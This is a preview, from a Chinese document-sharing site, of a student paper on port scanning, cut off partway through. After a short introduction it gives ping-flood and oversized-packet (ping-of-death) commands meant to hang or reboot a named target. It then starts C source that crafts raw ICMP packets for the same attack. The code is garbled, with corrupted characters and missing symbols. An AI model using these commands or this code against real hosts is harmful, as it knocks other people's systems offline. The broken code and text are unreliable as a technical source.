文档详情

一个简单的端口扫描程序.doc

发布:2017-12-02约1.31万字共12页下载文档
文本预览下载声明
   操 作 系 统 论 文 ——一个简单的端口扫描程序 学 院 :计 控 学 院 姓 名 : 班 级 :计本045 学 号 :2004021200 指导教师 : 摘要 一个端口就是一个潜在的通信通道,也就是一个入侵通道。对目标计算机进行端口扫描,能得到许多有用的信息。进行扫描的方法很多,可以是手工进行扫描,也可以用端口扫描软件进行。   在手工进行扫描时,需要熟悉各种命令。对命令执行后的输出进行分析。用扫描软件进行扫描时,许多扫描器软件都有分析数据的功能。    关 键 字: 扫描 端口扫描途径 网络 运行环境: 普通计算机一台,操作系统WINDOWS 一。引言 通过网络服务器接连访问,寻找保安上的弱点(安全漏洞)的行为。在互联网上被公开的服务器计算机遵从称为「TCP/IP」的通讯规章(协议)运行,通常准备了复数的称为「端口」的连接窗口,等着来自利用者的连接。端口扫描是按顺序调查访问这个端口,在服务器中运行的应用软件和OS的种类,调查是否有可能成为侵入口的脆弱的端口的行为。端口扫描的结果常常是安全漏洞被发现时,使用侵入用的程序进行不正当的侵入。也有时是网络管理者为调查自己管理的系统中是否有漏洞,而进行端口扫描。接受了端口扫描的服务器中会留有通讯履历(访问记录)与端口扫描的可疑记录,但会发生空开间隔进行扫描等隐藏端口扫描工作的情况。 二。分析过程 1.Ping命令的基本格式: ????????ping hostname 其中hostname是目标计算机的地址。Ping还有许多高级使用,下面就是一个例子。 C: ping -f hostname   这条命令给目标机器发送大量的数据,从而使目标计算机忙于回应。在Windows 95的计算机上,使用下面的方法: c:\windows\ping -l 65510 saddam_hussein   这样做了之后,目标计算机有可能会挂起来,或从新启动。由于 -l 65510 产生一个巨大的数据包。由于要求返回一个同样的数据包,会使目标计算机反应不过来。   在Linux计算机上,可以编写一个程序来实现上述方法。 #include stdio.h #include sys/types.h #include sys/socket.h #include netdb.h #include netinet/in.h #include netinet/in_systm.h #include netinet/ip.h #include netinet/ip_icmp.h ?? /* * If your kernel doesnt muck with raw packets, #define REALLY_RAW. * This is probably only Linux. */ #ifdef REALLY_RAW #define FIX(x)牋htons(x) #else #define FIX(x)牋(x) #endif 牋 int main(int argc, char **argv) { 牋牋牋牋int s; 牋牋牋牋char buf[1500]; 牋牋牋牋struct ip *ip = (struct ip *)buf; 牋牋牋牋struct icmp *icmp = (struct icmp *)(ip + 1); 牋牋牋牋struct hostent *hp; 牋牋牋牋struct sockaddr_in dst; 牋牋牋牋int offset; 牋牋牋牋int on = 1; 牋 牋牋牋牋bzero(buf, sizeof buf); if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) 0) { 牋?牋牋牋牋牋牋爌error(socket); 牋牋牋牋牋牋牋牋exit(1); 牋牋牋牋} 牋牋牋牋if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, on, sizeof(on)) 0) { 牋牋牋牋牋牋牋牋perror(IP_HDRINCL); 牋牋牋牋牋牋牋牋exit(1); 牋牋牋牋} 牋牋牋牋if (argc != 2) { 牋牋牋牋牋牋牋牋fprintf(stderr, us
显示全部
相似文档